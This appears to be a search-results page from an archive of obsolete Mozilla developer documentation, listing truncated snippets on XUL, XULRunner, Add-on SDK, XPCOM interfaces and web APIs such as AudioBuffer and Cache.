... here's a simple example: var button = require("sdk/ui/button/action").actionbutton({ id: "style-tab", label: "style tab", icon: "./icon-16.png", onclick: function() { require("sdk/tabs").activetab.attach({ contentscript: 'document.body.style.border = "5px solid red";' }); } }); to run this example, save an icon file named "icon-16.png" in add-on's "data" directory.
...it has a click handler which fetches the active tab and loads a script into the page hosted by the active tab.
...And 5 more matches
Troubleshooting - Archive of obsolete content
check your firefox jpm searches well known locations on your system for firefox.
... when you run jpm to test your add-on or run unit tests, it prints out the location of the firefox or xulrunner binary that it found, so you can check its output to be sure.
... check your text console when errors are generated in the sdk's apis and your code, they are logged to the text console.
...And 5 more matches
Unit Testing - Archive of obsolete content
unfortunately these functions are attached to the window object: since this object is not available in your main add-on code, atob() and btoa() aren't available either.
...now create a new file called "base64.js", and give it the following contents: const { atob, btoa } = require("resource://gre/modules/services.jsm"); exports.atob = a => atob(a); exports.btoa = b => btoa(b); this code exports two functions, which just call the platform's btoa() and atob() functions.
...require("../base64"); exports["test atob"] = function(assert) { assert.ok(base64.atob("agvsbg8=") == "hello", "atob works"); } exports["test btoa"] = function(assert) { assert.ok(base64.btoa("hello") == "agvsbg8=", "btoa works"); } exports["test empty string"] = function(assert) { assert.throws(function() { base64.atob(); }, "empty string check works"); } require("sdk/test").run(exports); note that with jpm we must give the exact relative path to the base64.js module.
...And 5 more matches
Canvas code snippets - Archive of obsolete content
function getpixelcolour(canvas, x, y) { var cx = canvas.getcontext('2d'); var pixel = cx.getimagedata(x, y, 1, 1); return { r: pixel.data[0], g: pixel.data[1], b: pixel.data[2], a: pixel.data[3] }; } chaining methods this class provides jquery-style chained access to 2d context methods and properties.
..., 'fill', 'fillrect', 'filltext', 'lineto', 'moveto', 'quadraticcurveto', 'rect', 'restore', 'rotate', 'save', 'scale', 'settransform', 'stroke', 'strokerect', 'stroketext', 'transform', 'translate']; var gettermethods = ['createpattern', 'drawfocusring', 'ispointinpath', 'measuretext', // drawfocusring not currently supported // the following might instead be wrapped to be able to chain their child objects 'createimagedata', 'createlineargradient', 'createradialgradient', 'getimagedata', 'putimagedata' ]; var props = ['canvas', 'fillstyle', 'font', 'globalalpha', 'globalcompositeoperation', 'linecap', 'linejoin', 'linewidth', 'miterlimit', 'shadowoffsetx', 'shadowoffsety', 'shadowblur', 'shadowcolor', 'strokestyle', 'textalign', 'textbaseline']; for (l...
...nvas2dcontext(canvas) .strokestyle('rgb(30, 110, 210)') .transform(10, 3, 4, 5, 1, 0) .strokerect(2, 10, 15, 20) .context; // use property name as a function (but without arguments) to get the value var strokestyle = canvas2dcontext(canvas) .strokestyle('rgb(50, 110, 210)') .strokestyle(); code usable only from privileged code these snippets are only useful from privileged code, such as extensions or privileged apps.
...And 5 more matches
JavaScript Debugger Service - Archive of obsolete content
var jsd = components.classes["@mozilla.org/js/jsd/debugger-service;1"] .getservice(components.interfaces.jsdidebuggerservice); jsd.on(); // enables the service till firefox 3.6, for 4.x use asyncon if (jsd.ison) jsd.off(); // disables the service hooks jsd operates using the events hook mechanism.
... jsd.errorhook = { onerror: function(message, filename, lineno, colno, flags, errnum, exc) { dump(message + "@" + filename + "@" + lineno + "@" + colno + "@" + errnum + "\n"); // check message type var jsdierrorhook = components.interfaces.jsdierrorhook; var messagetype; if (flags & jsdierrorhook.report_error) messagetype = "error"; if (flags & jsdierrorhook.report_warning) messagetype = "warning"; if (flags & jsdierrorhook.report_exception) messagetype = "uncaught-exception"; if (flags & jsdierrorhook.report_strict) messagetype += "-strict"; dum...
...hy debughook sometimes fails to trigger jsd.debughook = { onexecute: function(frame, type, rv) { stacktrace = ""; for (var f = frame; f; f = f.callingframe) { stacktrace += f.script.filename + "@" + f.line + "@" + f.functionname + "\n"; } dump(stacktrace); return components.interfaces.jsdiexecutionhook.return_continue; } }; filters jsd also allows the use of filters to track which scripts should trigger the hooks.
...And 5 more matches
Rosetta - Archive of obsolete content
nevertheless, the increasing computational power of modern browsers together with the introduction of typed arrays in ecmascript allow us, in theory, to build full virtual machines in pure ecmascript.
... for a fast overview on the code proposed here you can git clone https://github.com/madmurphy/rosetta.js, or, at your choice, directly download this .zip file.
...|*| |*| november 12, 2014 |*| |*| https://developer.mozilla.org/add-ons/code_snippets/rosetta |*| https://developer.mozilla.org/user:fusionchess |*| |*| this framework is released under the gnu public license, version 3 or later.
...And 5 more matches
Sidebar - Archive of obsolete content
users have been known to complain about this "feature", and if two or more extensions try to open their sidebars on startup, the user will see a flurry of sidebars opening and closing with which ever extension going last "winning".
... web panels sidebar content such as web pages can be safely loaded as sidebar in the "viewwebpanelssidebar".
... bookmarks with "load this bookmark in sidebar" checked in the properties open in the "viewwebpanelssidebar".
...And 5 more matches
Appendix A: Add-on Performance - Archive of obsolete content
this is evident when opening a firefox profile that has many add-ons installed; some profiles can take minutes to load, which is a serious inconvenience for users that gives them a negative view of firefox.
... add-on developers need to make sure that they minimize their add-ons' performance impact, and here are a few simple guidelines that should be followed to achieve that.
...most add-ons use the load event handler in the main overlay to initialize their objects and sometimes read files or even fetch remote data.
...And 5 more matches
Finding the file to modify - Archive of obsolete content
the structure layer identifies the widgets (menus, buttons, etc.) and their position in the ui relative to each other, the style layer defines how the widgets look (size, color, style, etc.) and their overall position (alignment), and the behavior layer specifies how the widgets behave and how users can use them to accomplish their goals.
...xul, which is short for xml-based user interface language (and is pronounced like "zool"), is an xml-based language specifically designed for describing application interfaces.
... each window and dialog box in mozilla is defined by a single xul file (in some cases other xul files called overlays contribute portions of another window's structure).
...And 5 more matches
Dehydra Object Reference - Archive of obsolete content
the objects are designed to distill that type system to the minimum such that it can be easy to match on.
...intrinsic types such as "int" are not declared and will not have a .loc.
...each member of the array has the following properties: { name: string, value: string or number, if applicable } see an example on enforcing final classes.
...And 5 more matches
Hidden prefs - Archive of obsolete content
this page has been flagged by editors or users as needing technical review.
... the default (defined in mailnews.js) is: pref("mail.addr_book.mapit_url.format", "http://www.mapquest.com/maps/map.adp...st&zipcode=@zi"); addressbook quick search query pref ("mail.addr_book.quicksearchquery.format" ) the format for this pref is: @v == the escaped value typed in the quick search bar in the addressbook every occurance of @v will be replaced.
... this entity (searchnameoremail.label) is defined in messenger.dtd.
...And 5 more matches
generateCRMFRequest() - Archive of obsolete content
there may also be large incompatibilities between implementations and the behavior may change in the future.
...one request for each key pair that is generated.
...each key generation will be associated with its own request.
...And 5 more matches
Makefile.mozextension.2 - Archive of obsolete content
which is why the code shown below is corrupt - so you may wanna click on edit and view source instead !!
...zextension2 ## file: makefile.mozextension2 ## based on http://kb.mozillazine.org/makefile_for_packaging_an_extension ## "this makefile.mozextention is for the test extension" ## the original makefile.mozextention reconstructs http://kb.mozillazine.org/getting_started_with_extension_development # call with: # make -f makefile.mozextension2 make_structure ## (without args for 'all') # note: @echo silent; without @ the command is written in stdout project=test project_name=testworld #~ project_id={xxxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx} project_id=test@testworld.ext project_version=1.0 project_desc="a $(project_name) project with advanced features" project_author=author name # mkdir=$(shell which mkdir) mkdir=/bin/mkdir zipprog=/usr/bin/zip shell = /bin/sh noop = $(shell) -c true noec...
...ho = @ rm_rf=rm -f cp=/bin/cp -i .phony: all all :: make_structure make_files $(noecho) $(noop) package:: make_xpi $(noecho) $(noop) #install :: make_xpi make_install # $(noecho) $(noop) clean :: make_clean $(noecho) $(noop) make_structure: @$(mkdir) $(project) || { echo "creating directory failed; it probably exists.
...And 5 more matches
Mozilla Application Framework - Archive of obsolete content
we provide a comprehensive framework that does much of the work for you, tools to help you develop your apps, and a community of people to help.
... framework xul a comprehensive, cross-platform ui toolkit with an easy-to-learn xml language for defining ui structure, a schema for localization, and support for both native and cross-platform (using css) look and feel to make writing uis quick and painless.
... and much much more...
...And 5 more matches
LIR - Archive of obsolete content
in nanojit, lir is the source language for compilation to machine code.
...nanojit lir instruction cheat sheet.also in pdf format see attachment.
... category op code code name return type featured description miscellaneous 0 start void start of a fragment 1 regfence void a register fence causes no code to be generated, but it affects register allocation so that no registers are live when it is reached.
...And 5 more matches
Plug-n-Hack - Archive of obsolete content
security researchers commonly use security tools in conjunction with browsers, but until now direct integration has required writing platform and browser specific extensions.
... configuring a browser to work with a security tool can be a non-trivial process, and this can discourage people with less experience from using such tools.
...to configure a browser to use an intercepting proxy that can handle https traffic, the user must typically: configure their browser to proxy via the tool configure the tool to proxy via their corporate proxy import the tool’s ssl certificate into their browser if any of these steps are carried out incorrectly then the browser will typically fail to connect to any website – debugging such problems can be frustrating and time-consuming.
...And 5 more matches
Proxy UI - Archive of obsolete content
the preference changes selecting the proxy "mode" all product's proxy preference panels share a basic design: a radio button that selects the proxy mode, then "related proxy mode" ui when needed.
...saving changes click "ok" to save changes to prefs.
... click "cancel" to discard changes.
...And 5 more matches
Same origin policy for XBL - Archive of obsolete content
checks performed once the originating principal is determined, checks are done to make sure the load should be allowed.
... the checks performed are: if the principal originating the load is the system principal, the load is allowed.
... a call to checloaduriwithprincipal() is done to make sure the principal is able to link to the given uri in the first place.
...And 5 more matches
String Quick Reference - Archive of obsolete content
function declarations what: use abstract classes instead of concrete classes when passing strings across function boundaries why: using abstract classes allows the caller to choose the storage mechanism, allowing for possible sharing or more efficient handling of string fragments.
... old way: use nsstring& and nscstring& void mymethod(const nsstring& input, nsstring& output); new way: use nsastring& and nsacstring& void mymethod(const nsastring& input, nsastring& output); substrings what: get direct references to string fragments why: avoid making multiple copies of the string old way: use a bunch of nsautostrings, and use left(), right() and mid() to grab a segment of a string: // get an 8-character string starting at the 4th position nsautostring leftside; str.left(leftside, 12); nsautostring middle; leftside.right(middle, 8); new way: use substring() to grab a direct reference to those characters: // get an 8-character string starting at the 4th position const nsastring& middle = substring(str, 4, 8); unicode literals what: use macro tricks to make wi...
...de-character literal strings.
...And 5 more matches
Event Handlers - Archive of obsolete content
the handler contains script that is executed when an event flows to the object the handler is attached to and if that event matches all of the criteria specified by the handler.
...this action can be specified either using an action attribute or by specifying the script as a child of the handler element.
...(note that there is a possibility that this may change in the future.) handlers are attached to the bound element, and they are registered by default for bubbling events.
...And 5 more matches
Example Sticky Notes - Archive of obsolete content
notes.html all parts are made and commented by vk [schools_ring@yahoo.com].
... view this example <!doctype html public "-//w3c//dtd html 4.01//en" "http://www.w3.org/tr/html401/strict.dtd"> <html> <head> <title>xbl demo : sticky notes</title> <meta http-equiv="content-type" content="text/html; charset=iso-8859-1"> <style type="text/css"> body { background-color: #ffffff; color: #000000; font: 1em verdana, sans-serif; } h1 { font-size: 1.5em; } /* binding: */ .sticker { -moz-binding: url(notes.xml#default); } </style> </head> <body> <h1><a href="http://developer.mozilla.org/en/docs/xbl:xbl_1.0_reference">xbl</a> demo : sticky notes</h1> <div class="sticker"><p>acme,&nbsp;inc.
... fax - respond today.</p></div> <div class="sticker"><p>don't forget the eggs!</p></div> <div class="sticker"><p>the new project - who's on charge?</p></div> <div class="sticker"><p>learn more about xbl.</p></div> <p style="clear: left"><a href="http://validator.w3.org/check?uri=referer"><img src="https://udn.realityripple.com/samples/e2/dd625ef1cd.png" width="88" height="31" alt="valid html 4.01" style="border: 1px none"></a></p> </body> </html> notes.xml <?xml version="1.0"?> <bindings xmlns="http://www.mozilla.org/xbl" xmlns:xul="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" xmlns:svg="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <!-- in above only xbl namespace declaration is mandatory.
...And 5 more matches
Unix stub installer - Archive of obsolete content
build your entire mozilla tree (which should build the installer in the src2 directory as well).
... adding a package involves a few steps: add a section named for your <component> to the packages-unix manifest that describes which files from dist belong to which module.
...checkin the <component>.jst to the: <http://lxr.mozilla.org/seamonkey/sou.../packager/unix> directory.
...And 5 more matches
confirm - Archive of obsolete content
method of install object syntax int confirm( string atext ); int confirm( string atext, string adialogtitle, number abuttonflags, string abutton0title, string abutton1title, string abutton2title, string acheckmsg, object acheckstate ); parameters the second, extended confirm() method is supported starting with gecko 1.8.
...the value is calculated by multiplying the corresponding button position constant with a button title constant for each button, then adding the results and any additional options (see other constants).
... warning: do not make any assumptions on the button placement - the underlying implementation can freely decide where each of the three buttons is placed.
...And 5 more matches
pack - Archive of obsolete content
ArchiveMozillaXULAttributepack
« xul reference home pack type: one of the values below the pack attribute specifies where child elements of the box are placed when the box is larger that the size of the children.
... for boxes with horizontal orientation, it is used to indicate the position of children horizontally.
... for boxes with vertical orientation, it is used to indicate the position of children vertically.
...And 5 more matches
Providing Command-Line Options - Archive of obsolete content
example the below example component implements two command line parameters: firefox.exe -myapp opens a chrome window for my application.
... firefox.exe -viewapp url opens a chrome window for my application and passes it an nsiuri object.
... using the example to use this sample code, save the commandline.js file into the components directory and add the following lines to your chrome.manifest file: component {2991c315-b871-42cd-b33f-bfee4fcbf682} components/commandline.js contract @mozilla.org/commandlinehandler/general-startup;1?type=myapp {2991c315-b871-42cd-b33f-bfee4fcbf682} category command-line-handler m-myapp @mozilla.org/commandlinehandler/general-startup;1?type=myapp the javascript code const cc = components.classes; const ci = components.interfaces; components.utils.import("resource://gre/modules/xpcomutils.jsm"); components.utils.import("resource://gre/modules/services.jsm"); // changeme: to the chrome uri of your extension or application const chrome_uri = "chrome://myapp/content/"; /** * utility function...
...And 5 more matches
Attribute Substitution - Archive of obsolete content
you can include multiple variables in one attribute if desired: <label value="my name is ?name and my age is ?age"/> this technique will work for any variable replacement in the action body, except for the uri attribute since that wouldn't be meaningful.
...this can be done simply by putting two variables next to each other in an attribute value separated by a caret (^).
...in a stylesheet, you could set properties for each of these classes such that different values appear differently without having to use multiple rules.
...And 5 more matches
Adding Buttons - Archive of obsolete content
syntax of buttons the button tag has the following syntax: <button id="identifier" class="dialog" label="ok" image="images/image.jpg" disabled="true" accesskey="t"/> the attributes are as follows, all of which are optional: id a unique identifier so that you can identify the button with.
...you can switch the disabled state of the button using javascript.
...when the user presses alt (or a similar key that varies on each platform) and the access key, the button will be focused from anywhere in the window.
...And 5 more matches
content - Archive of obsolete content
if set, the conditions will only match if the template builder is parsing content for an element directly inside this tag.
... for example, by using a value of treechildren, the condition will only match when placing elements directly inside a treechildren tag.
... thus, nested elements will not match because they are directly inside a treeitem.
...And 5 more matches
stack - Archive of obsolete content
ArchiveMozillaXULstack
« xul reference home [ examples | attributes | properties | methods | related ] an element that renders its children on top of each other.
... the first element is placed on the bottom and each successive child is placed above the previous.
...child elements may also be placed at absolute positions within the stack.
...And 5 more matches
toolbox - Archive of obsolete content
these are toolbars that are not children of a toolbox.
... if you'd like to detect when toolbars in a toolbox are changed, see toolbar customization events.
... properties accessible, customtoolbarcount, externaltoolbars, palette, toolbarset methods appendcustomtoolbar, collapsetoolbar, expandtoolbar examples <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window id="yourwindow" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" title="toolbox example" width="300"> <toolbox> <toolbar> <toolbarbutton label="back"/> <toolbarbutton label="forward"/> <toolbarbutton label="home"/> </toolbar> <toolbar> <toolbarbutton label="stop"/> <toolbarbutton label="reload"/> </toolbar> </toolbox> <textbox multiline="true" value="we have two toolbars inside of one toolbox above." width="20"/> </window> attributes inherited from xul element...
...And 5 more matches
XULRunner 1.8.0.4 Release Notes - Archive of obsolete content
it provides facilities for launching standalone xul applications and embedding apis which can be used to render web pages within native and java applications.
... as of december 2008,xulrunner 1.9.0.4 is available in the "gecko 1.9.0" branch upon which firefox 3 is based.
... installing xulrunner mozilla provides xulrunner for windows, mac os x, and linux, in english: download xulrunner for windows download xulrunner for mac os x download xulrunner for linux windows unpack the zip file to a new directory using an archive tool (7zip is recommended).
...And 5 more matches
XULRunner 1.9.1 Release Notes - Archive of obsolete content
it provides facilities for launching standalone xul applications and embedding apis which can be used to render web pages within native and java applications.
...current version the current version of xulrunner is 1.9.1.19, matching firefox 3.5.19 detailed release notes can be found here.
...installing xulrunner mozilla provides xulrunner for windows, mac os x, and linux, in english: download xulrunner for windows download xulrunner for mac os x download xulrunner for linux windows unpack the zip file to a new directory using an archive tool (7zip is recommended).
...And 5 more matches
XULRunner 1.9.2 Release Notes - Archive of obsolete content
it provides facilities for launching standalone xul applications and embedding apis which can be used to render web pages within native and java applications.
...current version the current version of xulrunner 1.9.2 is 3.6.26, matching firefox 3.6.26 detailed release notes can be found here.
...installing xulrunner mozilla provides xulrunner for windows, mac os x, and linux, in english: download xulrunner for windows download xulrunner for mac os x download xulrunner for linux windows unpack the zip file to a new directory using an archive tool (7zip is recommended).
...And 5 more matches
XULRunner 1.9 Release Notes - Archive of obsolete content
it provides facilities for launching standalone xul applications and embedding apis which can be used to render web pages within native and java applications.
... current version the current version of xulrunner is 1.9.0.17, matching firefox 3.0.17 detailed release notes can be found here.
... installing xulrunner mozilla provides xulrunner for windows, mac os x, and linux, in english: download xulrunner for windows download xulrunner for mac os x download xulrunner for linux windows unpack the zip file to a new directory using an archive tool (7zip is recommended).
...And 5 more matches
CommandLine - Archive of obsolete content
an nsicommandline object is passed as the first argument of the launched window: example var cmdline = window.arguments[0]; cmdline = cmdline.queryinterface(components.interfaces.nsicommandline); alert(cmdline.handleflagwithparam("test", false)); see also: chrome: command line for single instance applications of course, for a single instance application (see toolkit.singletonwindowtype for more information), the last example still applies the first time your application is launched.
...this approach has been used in songbird.
... example notice the changes since gecko 2.0 (component registration has moved into the manifest file).
...And 5 more matches
Dialogs in XULRunner - Archive of obsolete content
each dialog is described in its own xul file.
...here is an example xul dialog: <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <dialog id="mydialog" title="my dialog" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" onload="window.sizetocontent();" buttons="accept,cancel" buttonlabelaccept="set favorite" buttonaccesskeyaccept="s" ondialogaccept="return dosave();" buttonlabelcancel="cancel" buttonaccesskeycancel="n" ondialogcancel="return docancel();"> <script> function dosave(){ //dosomething() return true; } function docancel(){ return ...
...here is the code needed to open a dialog: function opendialog() { window.opendialog("chrome://basicapp/content/dialog.xul", "newdlg", "modal"); } the resulting dialog looks like this on windows 2000, and will look similar on other operating systems: the first thing that caught my eye about dialog is the button-related attributes on the element.
...And 5 more matches
Windows and menus in XULRunner - Archive of obsolete content
this time i want to add some of the things common to a desktop application user interface: windows and dialogs menus and toolbars os common dialogs controls or widgets windows each window or dialog should be created in its own xul file.
... the xul file may also contain other top-level declarations for css and dtd, which i will discuss in a moment.
...here is an example: <?xml version="1.0"?> <?xml-stylesheet href="chrome://basicapp/skin/main.css" type="text/css"?> <!doctype window system "chrome://basicapp/locale/main.dtd"> <window id="main" title="&title;" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script src="main.js"/> ...
...And 5 more matches
nsIContentPolicy - Archive of obsolete content
dom/base/nsicontentpolicy.idlscriptable interface used to implement a content policy mechanism.
... 63 introduced gecko 1.0 inherits from: nsicontentpolicybase last changed in gecko 42 (firefox 42 / thunderbird 42 / seamonkey 2.39) you can observe content that is being loaded into your browser by implementing nsicontentpolicy.
... warning: do not block the caller in your implementations of shouldload() or shouldprocess() (for example, by launching a dialog to prompt the user for something).") note: in reality, much of this interface is defined in the nsicontentpolicybase interface, but for now is documented here until someone has time to split things up.
...And 5 more matches
reftest opportunities files - Archive of obsolete content
it is not always clear why particular files were checked in, but one presumes that something needed to be checked.
... many of these were checked with the layout regression test tool, which has been described as difficult to use and it apparently reported a lot of regressions that were not errors.
...for example, if some html is in an unexpected place and is supposed to be ignored, then we can match against an html file that is missing that extra mark-up.
...And 5 more matches
Mozilla.dev.apps.firefox-2006-10-06 - Archive of obsolete content
summary: mozilla.dev.apps.firefox - september 30 - october 6, 2006 announcements vista compatibility lab mike schroepfer announced the current work being done testing mozilla products with vista.
... a wiki and irc channel have been created to track their progress.
... engineering student project - industry coach paul betts from ohio state university is looking for someone from mozilla to be his "industry coach" for engineering 494 - how great ideas turn into great products.
...And 5 more matches
2006-10-06 - Archive of obsolete content
summary: mozilla.dev.apps.firefox - september 30 - october 6, 2006 announcements vista compatibility lab mike schroepfer announced the current work being done testing mozilla products with vista.
... a wiki and irc channel have been created to track their progress.
... engineering student project - industry coach paul betts from ohio state university is looking for someone from mozilla to be his "industry coach" for engineering 494 - how great ideas turn into great products.
...And 5 more matches
2006-12-01 - Archive of obsolete content
announcements governance topics mitchell baker announces that topics have been posted in the governance group.
...he requests blocker bug owners get their patches in asap and since check approval will be granted daily that they be ready to check their patches in as soon as they are approved.
... automatic configure updated back preed announces that the machine that does the automatic autoconf/configure generation (egg.build.mozilla.org) is back up.
...And 5 more matches
2006-10-06 - Archive of obsolete content
summary: mozilla.dev.quality - september 30-october 6, 2006 announcements firefox 2 rc2 update - the minimum tests for rc2 are complete which includes smoke and bft tests.
...update checker was run; all failures found were expected.
... build is go for launch.
...And 5 more matches
Solaris 10 Build Prerequisites - Archive of obsolete content
the installer will try to install the sunwsmbas package, which is not available in newer versions of sxde.
...install sun studio 12 or sun studio 11 with a patch to avoid a compiler bug.
...make some changes to /opt/jdsbld/bin/env.sh.
...And 5 more matches
New in JavaScript 1.5 - Archive of obsolete content
the following is a changelog for javascript 1.5.
...you can compare javascript 1.5 to jscript version 5.5 and internet explorer 5.5, which was released in july 2000.
... multiple catch clauses in a try...catch statement are supported.
...And 5 more matches
Mozilla's DOCTYPE sniffing - Archive of obsolete content
the goals that led to choosing this behavior were the following: almost all existing text/html pages on the web that need to be in quirks mode to be displayed correctly should be displayed using quirks mode.
... in other words, the algorithm is the best approximation we can find for determining which pages were written after mozilla became a known important user-agent on the web.
... full standards mode the following trigger full standards mode: any document sent with an xml mime type such as text/xml, application/xml, or application/xhtml+xml (since sniffing only occurs for documents sent as text/html).
...And 5 more matches
Popup Window Controls - Archive of obsolete content
mozilla and firefox allow users to control most unsolicited attempts to open new windows such as popup and popunder windows.
... popup window controls configuration using the preference for privacy & security > popup windows, users can: allow all sites to open popup windows except for sites which the user has explicity denied permission what popup windows are suppressed?
... mozilla will attempt to suppress all calls to window.open() which occur in the following circumstances: global script which is executed as the document is loading script executed as part of a onload event handler script executed in settimeout() or setinterval() what popup windows are not suppressed?
...And 5 more matches
Obsolete: XPCOM-based scripting for NPAPI plugins - Archive of obsolete content
the main reason for this is that there is no guarantee of java compatibility on a binary level due to the jri/jni switch.
... the new mozilla xpcom architecture allows xpcom components be scriptable via a different mechanism called xpconnect.
...in order to make it still possible to script plugins, some changes have been made to the mozilla code.
...And 5 more matches
Alpha (alpha channel) - MDN Web Docs Glossary: Definitions of Web-related terms
colors are represented in digital form as a collection of numbers, each representing the strength or intensity level of a given component of the color.
... each of these components is called a channel.
... in a typical image file, the color channels describe how much red, green, and blue are used to make up the final color.
...And 5 more matches
Search engine - MDN Web Docs Glossary: Definitions of Web-related terms
a search engine is a software system that collects information from the world wide web and presents it to users who are looking for specific information.
... a search engine conducts the following processes: web crawling: searching web sites by navigating hyperlinks on web pages, both within a site, and from one site to another.
... a web site owner can exclude areas of the site from being accessed by a search engine's web crawler (or spider), by defining "robot exclusion" information in a file named robots.txt.
...And 5 more matches
mozbrowserfindchange
there may also be large incompatibilities between implementations and the behavior may change in the future.
... the mozbrowserfindchange event is fired when a search method is invoked in the browser <iframe> content.
... this includes htmliframeelement.findall(), htmliframeelement.findnext(), and htmliframeelement.clearmatch().
...And 5 more matches
JS_ScheduleGC
this article covers features introduced in spidermonkey 17 set nextscheduled parameter of gc.
... syntax void js_schedulegc(jscontext *cx, uint32_t count); name type description cx jscontext * a context.
... frequency uint32_t the value of nextscheduled parameter of gc.
...And 5 more matches
nsIAccessibleTreeCache
accessible/public/nsiaccessibletreecache.idlnot scriptable please add a summary to this article.
... last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) inherits from: nsisupports method overview nsiaccessible getcachedtreeitemaccessible(in long arow, in nsitreecolumn acolumn); void invalidatecache(in long arow, in long acount); void treeviewchanged(); void treeviewinvalidated(in long astartrow, in long aendrow, in long astartcol, in long aendcol); methods getcachedtreeitemaccessible() returns the tree item from the cache for the cell in the specified row and column; the nsiaccessible is created if it doesn't already exist in the cache.
... nsiaccessible getcachedtreeitemaccessible( in long arow, in nsitreecolumn acolumn ); parameters arow the row index.
...And 5 more matches
nsIMsgSearchCustomTerm
defined in comm-central/ mailnews/ base/ search/ public/ nsimsgsearchcustomterm.idl attributes id /** * globally unique string to identify this search term.
... * recommended form: extensionname@example.com#termname * commas and quotes are not allowed, the id must not * parse to an integer, and names of standard search * attributes in searchattribentrytable in nsmsgsearchterm.cpp * are not allowed.
... * * @param scope search scope (nsmsgsearchscope) * @param op search operator (nsmsgsearchop).
...And 5 more matches
nsIMsgSearchTerm
defined in mozilla/ mailnews/ base/ search/ public/ nsimsgsearchterm.idl attributes attrib attribute nsmsgsearchattribvalue attrib; op attribute nsmsgsearchopvalue op; value attribute nsimsgsearchvalue value; booleanand attribute boolean booleanand; arbitraryheader attribute acstring arbitraryheader; hdrproperty /** * not to be confused with arbitraryheader, which is a header in the * rfc822 message.
...attribute acstring customid; beginsgrouping attribute boolean beginsgrouping; endsgrouping attribute boolean endsgrouping; methods matchrfc822string boolean matchrfc822string(in string astring, in string charset, in boolean charsetoverride); matchrfc2047string boolean matchrfc2047string(in string astring, in string charset, in boolean charsetoverride); matchdate boolean matchdate(in prtime atime); matchstatus boolean matchstatus(in unsigned long astatus); matchpriority boolean matchpriority(in nsmsgpriorityvalue priori...
...ty); matchage boolean matchage(in prtime days); matchsize boolean matchsize(in unsigned long size); matchlabel boolean matchlabel(in nsmsglabelvalue alabelvalue); matchjunkstatus boolean matchjunkstatus(in string ajunkscore); matchjunkpercent /* * test search term match for junkpercent * * @param ajunkpercent junkpercent for message (0-100, 100 is junk) * @return true if matches */ boolean matchjunkpercent(in unsigned long ajunkpercent); matchjunkscoreorigin /* * test search term match for junkscoreorigin * @param ajunkscoreorigin who set junk score?
...And 5 more matches
nsIResumableChannel
netwerk/base/public/nsiresumablechannel.idlscriptable this interface is meant to be implemented by the channels that support resuming broken downloads (for example necko's html and ftp channels).
... inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview void asyncopenat(in nsistreamlistener listener, in nsisupports ctxt, in unsigned long startpos, in nsiresumableentityid entityid); obsolete since gecko 1.8 void resumeat(in unsigned long long startpos, in acstring entityid); attributes attribute type description entityid acstring the entity id for this uri.
... methods asyncopenat() obsolete since gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) open this channel, and read starting at the specified offset.
...And 5 more matches
Mail client architecture overview
the base module consists of the following basic building blocks account management - the account manager is the root object of the server/folder/message hierarchy.
... datasources - datasources are the glue code that reflect mail data such as folders and messages into rdf.
... events - as data changes throughout the mail application, the event system notifies key components such as datasources and the url system of these changes.
...And 5 more matches
Set watch expressions - Firefox Developer Tools
when debugging code, sometimes it's useful to watch expressions as executions are paused.
... the debugger features a pane for entering expressions to be watched (watch expressions).
... as you step through code, the debugger will watch the expression and return any results.
...And 5 more matches
AudioBuffer.copyFromChannel() - Web APIs
the copyfromchannel() method of the audiobuffer interface copies the audio sample data from the specified channel of the audiobuffer to a specified float32array.
... syntax myarraybuffer.copyfromchannel(destination, channelnumber, startinchannel); parameters destination a float32array to copy the channel's samples to.
... channelnumber the channel number of the current audiobuffer to copy the channel data from.
...And 5 more matches
AudioNode.channelCountMode - Web APIs
the channelcountmode property of the audionode interface represents an enumerated value describing the way channels must be matched between the node's inputs and outputs.
... the possible values of channelcountmode and their meanings are: value description the following audionode children default to this value max the number of channels is equal to the maximum number of channels of all connections.
... in this case, channelcount is ignored and only up-mixing happens.
...And 5 more matches
AudioScheduledSourceNode - Web APIs
the audioscheduledsourcenode interface—part of the web audio api—is a parent interface for several types of audio source node interfaces which share the ability to be started and stopped, optionally at specified times.
... you can't create an audioscheduledsourcenode object directly.
... instead, use the interface which extends it, such as audiobuffersourcenode, oscillatornode, and constantsourcenode.
...And 5 more matches
BaseAudioContext.createChannelMerger() - Web APIs
the createchannelmerger() method of the baseaudiocontext interface creates a channelmergernode, which combines channels from multiple audio streams into a single audio stream.
... syntax baseaudiocontext.createchannelmerger(numberofinputs); parameters numberofinputs the number of channels in the input audio streams, which the output stream will contain; the default is 6 if this parameter is not specified.
... returns a channelmergernode.
...And 5 more matches
BaseAudioContext.createChannelSplitter() - Web APIs
the createchannelsplitter() method of the baseaudiocontext interface is used to create a channelsplitternode, which is used to access the individual channels of an audio stream and process them separately.
... syntax baseaudiocontext.createchannelsplitter(numberofoutputs); parameters numberofoutputs the number of channels in the input audio stream that you want to output separately; the default is 6 if this parameter is not specified.
... returns a channelsplitternode.
...And 5 more matches
Cache.add() - Web APIs
WebAPICacheadd
the add() method of the cache interface takes a url, retrieves it, and adds the resulting response object to the given cache.
... the add() method is functionally equivalent to the following: fetch(url).then(function(response) { if (!response.ok) { throw new typeerror('bad response status'); } return cache.put(url, response); }) for more complex operations, you'll need to use cache.put() directly.
... note: add() will overwrite any key/value pair previously stored in the cache that matches the request.
...And 5 more matches
ChildNode.after() - Web APIs
WebAPIChildNodeafter
the childnode.after() method inserts a set of node or domstring objects in the children list of this childnode's parent, just after this childnode.
... syntax [throws, unscopable] void childnode.after((node or domstring)...
... exceptions hierarchyrequesterror: node cannot be inserted at the specified point in the hierarchy.
...And 5 more matches
Document.createTouchList() - Web APIs
note: before gecko 25.0, this method was defined on the documenttouch mixin.
... the document.createtouchlist() method creates and returns a new touchlist object.
... syntax var list = documenttouch.createtouchlist([touch1 [, touch2 [, ...]]]); parameters touches zero or more touch objects.
...And 5 more matches
Element.attachShadow() - Web APIs
